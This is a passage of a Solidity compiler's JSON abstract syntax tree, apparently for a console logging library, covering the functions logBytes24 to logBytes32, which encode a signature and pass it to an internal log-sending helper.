\"log(bytes24)\""},"value":"log(bytes24)"},{"id":16123,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":16116,"src":"4465:2:14","typeDescriptions":{"typeIdentifier":"t_bytes24","typeString":"bytes24"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_f1b35b3488a5452bceb48624d6ba2a791e58f0e9c0f4b86b8f51186ec7a7edf4","typeString":"literal_string \"log(bytes24)\""},{"typeIdentifier":"t_bytes24","typeString":"bytes24"}],"expression":{"id":16120,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"4425:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":16121,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"4429:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"4425:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":16124,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4425:43:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":16119,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"4409:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":16125,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4409:60:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":16126,"nodeType":"ExpressionStatement","src":"4409:60:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"logBytes24","nameLocation":"4362:10:14","parameters":{"id":16117,"nodeType":"ParameterList","parameters":[{"constant":false,"id":16116,"mutability":"mutable","name":"p0","nameLocation":"4381:2:14","nodeType":"VariableDeclaration","scope":16128,"src":"4373:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes24","typeString":"bytes24"},"typeName":{"id":16115,"name":"bytes24","nodeType":"ElementaryTypeName","src":"4373:7:14","typeDescriptions":{"typeIdentifier":"t_bytes24","typeString":"bytes24"}},"visibility":"internal"}],"src":"4372:12:14"},"returnParameters":{"id":16118,"nodeType":"ParameterList","parameters":[],"src":"4399:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":16142,"nodeType":"FunctionDefinition","src":"4482:123:14","nodes":[],"body":{"id":16141,"nodeType":"Block","src":"4528:77:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f67286279746573323529","id":16136,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"4578:14:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_0b84bc580db9be1295ee23dff6122da1f70381c83abf9a74953cca11238eda25","typeString":"literal_string \"log(bytes25)\""},"value":"log(bytes25)"},{"id":16137,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":16130,"src":"4594:2:14","typeDescriptions":{"typeIdentifier":"t_bytes25","typeString":"bytes25"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_0b84bc580db9be1295ee23dff6122da1f70381c83abf9a74953cca11238eda25","typeString":"literal_string \"log(bytes25)\""},{"typeIdentifier":"t_bytes25","typeString":"bytes25"}],"expression":{"id":16134,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"4554:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":16135,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"4558:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"4554:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":16138,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4554:43:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":16133,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"4538:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":16139,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4538:60:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":16140,"nodeType":"ExpressionStatement","src":"4538:60:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"logBytes25","nameLocation":"4491:10:14","parameters":{"id":16131,"nodeType":"ParameterList","parameters":[{"constant":false,"id":16130,"mutability":"mutable","name":"p0","nameLocation":"4510:2:14","nodeType":"VariableDeclaration","scope":16142,"src":"4502:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes25","typeString":"bytes25"},"typeName":{"id":16129,"name":"bytes25","nodeType":"ElementaryTypeName","src":"4502:7:14","typeDescriptions":{"typeIdentifier":"t_bytes25","typeString":"bytes25"}},"visibility":"internal"}],"src":"4501:12:14"},"returnParameters":{"id":16132,"nodeType":"ParameterList","parameters":[],"src":"4528:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":16156,"nodeType":"FunctionDefinition","src":"4611:123:14","nodes":[],"body":{"id":16155,"nodeType":"Block","src":"4657:77:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f67286279746573323629","id":16150,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"4707:14:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_f8b149f18dc341f1a56e26c6c24a5233eec3bbb2ab017e9e86e663aae743965b","typeString":"literal_string \"log(bytes26)\""},"value":"log(bytes26)"},{"id":16151,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":16144,"src":"4723:2:14","typeDescriptions":{"typeIdentifier":"t_bytes26","typeString":"bytes26"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_f8b149f18dc341f1a56e26c6c24a5233eec3bbb2ab017e9e86e663aae743965b","typeString":"literal_string \"log(bytes26)\""},{"typeIdentifier":"t_bytes26","typeString":"bytes26"}],"expression":{"id":16148,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"4683:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":16149,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"4687:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"4683:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":16152,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4683:43:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":16147,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"4667:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":16153,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4667:60:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":16154,"nodeType":"ExpressionStatement","src":"4667:60:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"logBytes26","nameLocation":"4620:10:14","parameters":{"id":16145,"nodeType":"ParameterList","parameters":[{"constant":false,"id":16144,"mutability":"mutable","name":"p0","nameLocation":"4639:2:14","nodeType":"VariableDeclaration","scope":16156,"src":"4631:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes26","typeString":"bytes26"},"typeName":{"id":16143,"name":"bytes26","nodeType":"ElementaryTypeName","src":"4631:7:14","typeDescriptions":{"typeIdentifier":"t_bytes26","typeString":"bytes26"}},"visibility":"internal"}],"src":"4630:12:14"},"returnParameters":{"id":16146,"nodeType":"ParameterList","parameters":[],"src":"4657:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":16170,"nodeType":"FunctionDefinition","src":"4740:123:14","nodes":[],"body":{"id":16169,"nodeType":"Block","src":"4786:77:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f67286279746573323729","id":16164,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"4836:14:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_3a3757dda92e8e238aa23ff7f6f62e31074f6acccca8986ec1286b5a835236b6","typeString":"literal_string \"log(bytes27)\""},"value":"log(bytes27)"},{"id":16165,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":16158,"src":"4852:2:14","typeDescriptions":{"typeIdentifier":"t_bytes27","typeString":"bytes27"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_3a3757dda92e8e238aa23ff7f6f62e31074f6acccca8986ec1286b5a835236b6","typeString":"literal_string \"log(bytes27)\""},{"typeIdentifier":"t_bytes27","typeString":"bytes27"}],"expression":{"id":16162,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"4812:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":16163,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"4816:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"4812:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":16166,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4812:43:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":16161,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"4796:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":16167,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4796:60:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":16168,"nodeType":"ExpressionStatement","src":"4796:60:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"logBytes27","nameLocation":"4749:10:14","parameters":{"id":16159,"nodeType":"ParameterList","parameters":[{"constant":false,"id":16158,"mutability":"mutable","name":"p0","nameLocation":"4768:2:14","nodeType":"VariableDeclaration","scope":16170,"src":"4760:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes27","typeString":"bytes27"},"typeName":{"id":16157,"name":"bytes27","nodeType":"ElementaryTypeName","src":"4760:7:14","typeDescriptions":{"typeIdentifier":"t_bytes27","typeString":"bytes27"}},"visibility":"internal"}],"src":"4759:12:14"},"returnParameters":{"id":16160,"nodeType":"ParameterList","parameters":[],"src":"4786:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":16184,"nodeType":"FunctionDefinition","src":"4869:123:14","nodes":[],"body":{"id":16183,"nodeType":"Block","src":"4915:77:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f67286279746573323829","id":16178,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"4965:14:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_c82aeaee74a6ddec4ccd5cfe60e816752c02c70838f0908bd4a6e82866b3a042","typeString":"literal_string \"log(bytes28)\""},"value":"log(bytes28)"},{"id":16179,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":16172,"src":"4981:2:14","typeDescriptions":{"typeIdentifier":"t_bytes28","typeString":"bytes28"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_c82aeaee74a6ddec4ccd5cfe60e816752c02c70838f0908bd4a6e82866b3a042","typeString":"literal_string \"log(bytes28)\""},{"typeIdentifier":"t_bytes28","typeString":"bytes28"}],"expression":{"id":16176,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"4941:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":16177,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"4945:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"4941:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":16180,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4941:43:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":16175,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"4925:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":16181,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4925:60:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":16182,"nodeType":"ExpressionStatement","src":"4925:60:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"logBytes28","nameLocation":"4878:10:14","parameters":{"id":16173,"nodeType":"ParameterList","parameters":[{"constant":false,"id":16172,"mutability":"mutable","name":"p0","nameLocation":"4897:2:14","nodeType":"VariableDeclaration","scope":16184,"src":"4889:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes28","typeString":"bytes28"},"typeName":{"id":16171,"name":"bytes28","nodeType":"ElementaryTypeName","src":"4889:7:14","typeDescriptions":{"typeIdentifier":"t_bytes28","typeString":"bytes28"}},"visibility":"internal"}],"src":"4888:12:14"},"returnParameters":{"id":16174,"nodeType":"ParameterList","parameters":[],"src":"4915:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":16198,"nodeType":"FunctionDefinition","src":"4998:123:14","nodes":[],"body":{"id":16197,"nodeType":"Block","src":"5044:77:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f67286279746573323929","id":16192,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"5094:14:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_4b69c3d5f782ef1bdb62d5bb42d4987f16799030ba447bb153d465bd3a3a5667","typeString":"literal_string \"log(bytes29)\""},"value":"log(bytes29)"},{"id":16193,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":16186,"src":"5110:2:14","typeDescriptions":{"typeIdentifier":"t_bytes29","typeString":"bytes29"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_4b69c3d5f782ef1bdb62d5bb42d4987f16799030ba447bb153d465bd3a3a5667","typeString":"literal_string \"log(bytes29)\""},{"typeIdentifier":"t_bytes29","typeString":"bytes29"}],"expression":{"id":16190,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"5070:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":16191,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"5074:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"5070:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":16194,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5070:43:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":16189,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"5054:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":16195,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5054:60:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":16196,"nodeType":"ExpressionStatement","src":"5054:60:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"logBytes29","nameLocation":"5007:10:14","parameters":{"id":16187,"nodeType":"ParameterList","parameters":[{"constant":false,"id":16186,"mutability":"mutable","name":"p0","nameLocation":"5026:2:14","nodeType":"VariableDeclaration","scope":16198,"src":"5018:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes29","typeString":"bytes29"},"typeName":{"id":16185,"name":"bytes29","nodeType":"ElementaryTypeName","src":"5018:7:14","typeDescriptions":{"typeIdentifier":"t_bytes29","typeString":"bytes29"}},"visibility":"internal"}],"src":"5017:12:14"},"returnParameters":{"id":16188,"nodeType":"ParameterList","parameters":[],"src":"5044:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":16212,"nodeType":"FunctionDefinition","src":"5127:123:14","nodes":[],"body":{"id":16211,"nodeType":"Block","src":"5173:77:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f67286279746573333029","id":16206,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"5223:14:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_ee12c4edbd73d98174a6bf3454562c4874f59cb381176b662ca65f625f97d6ad","typeString":"literal_string \"log(bytes30)\""},"value":"log(bytes30)"},{"id":16207,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":16200,"src":"5239:2:14","typeDescriptions":{"typeIdentifier":"t_bytes30","typeString":"bytes30"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_ee12c4edbd73d98174a6bf3454562c4874f59cb381176b662ca65f625f97d6ad","typeString":"literal_string \"log(bytes30)\""},{"typeIdentifier":"t_bytes30","typeString":"bytes30"}],"expression":{"id":16204,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"5199:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":16205,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"5203:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"5199:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":16208,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5199:43:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":16203,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"5183:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":16209,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5183:60:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":16210,"nodeType":"ExpressionStatement","src":"5183:60:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"logBytes30","nameLocation":"5136:10:14","parameters":{"id":16201,"nodeType":"ParameterList","parameters":[{"constant":false,"id":16200,"mutability":"mutable","name":"p0","nameLocation":"5155:2:14","nodeType":"VariableDeclaration","scope":16212,"src":"5147:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes30","typeString":"bytes30"},"typeName":{"id":16199,"name":"bytes30","nodeType":"ElementaryTypeName","src":"5147:7:14","typeDescriptions":{"typeIdentifier":"t_bytes30","typeString":"bytes30"}},"visibility":"internal"}],"src":"5146:12:14"},"returnParameters":{"id":16202,"nodeType":"ParameterList","parameters":[],"src":"5173:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":16226,"nodeType":"FunctionDefinition","src":"5256:123:14","nodes":[],"body":{"id":16225,"nodeType":"Block","src":"5302:77:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f67286279746573333129","id":16220,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"5352:14:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_c2854d92a0707e582e2710f9c9d3f148fdcf7e7da3b4270c2cfa3e223a2c50ce","typeString":"literal_string \"log(bytes31)\""},"value":"log(bytes31)"},{"id":16221,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":16214,"src":"5368:2:14","typeDescriptions":{"typeIdentifier":"t_bytes31","typeString":"bytes31"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_c2854d92a0707e582e2710f9c9d3f148fdcf7e7da3b4270c2cfa3e223a2c50ce","typeString":"literal_string \"log(bytes31)\""},{"typeIdentifier":"t_bytes31","typeString":"bytes31"}],"expression":{"id":16218,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"5328:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":16219,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"5332:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"5328:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":16222,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5328:43:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":16217,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"5312:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":16223,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5312:60:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":16224,"nodeType":"ExpressionStatement","src":"5312:60:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"logBytes31","nameLocation":"5265:10:14","parameters":{"id":16215,"nodeType":"ParameterList","parameters":[{"constant":false,"id":16214,"mutability":"mutable","name":"p0","nameLocation":"5284:2:14","nodeType":"VariableDeclaration","scope":16226,"src":"5276:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes31","typeString":"bytes31"},"typeName":{"id":16213,"name":"bytes31","nodeType":"ElementaryTypeName","src":"5276:7:14","typeDescriptions":{"typeIdentifier":"t_bytes31","typeString":"bytes31"}},"visibility":"internal"}],"src":"5275:12:14"},"returnParameters":{"id":16216,"nodeType":"ParameterList","parameters":[],"src":"5302:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":16240,"nodeType":"FunctionDefinition","src":"5385:123:14","nodes":[],"body":{"id":16239,"nodeType":"Block","src":"5431:77:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f67286279746573333229","id":16234,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"5481:14:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_27b7cf8513ac6b65cae720183e1e60e67f8a9d92c01286c19d51d4e30aa269da","typeString":"literal_string \"log(bytes32)\""},"value":"log(bytes32)"},{"id":16235,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":16228,"src":"5497:2:14","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_27b7cf8513ac6b65cae720183e1e60e67f8a9d92c01286c19d51d4e30aa269da","typeString":"literal_string \"log(bytes32)\""},{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"expression":{"id":16232,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"5457:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":16233,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"5461:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"5457:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":16236,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5457:43:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":16231,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"5441:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":16237,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5441:60:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":16238,"nodeType":"ExpressionStatement","src":"5441:60:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"logBytes32","nameLocation":"5394:10:14","parameters":{"id":16229,"nodeType":"ParameterList","parameters":[{"constant":false,"id":16228,"mutability":"mutable","name":"p0","nameLocation":"5413:2:14","nodeType":"VariableDeclaration","scope":16240,"src":"5405:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":16227,"name":"bytes32","nodeType":"ElementaryTypeName","src":"5405:7:14","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"5404:12:14"},"returnParameters":{"id":16230,"nodeType":"ParameterList","parameters":[],"src":"5431:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":16254,"nodeType":"FunctionDefinition","src":"5514:110:14","nodes":[],"body":{"id":16253,"nodeType":"Block","src":"5550:74:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[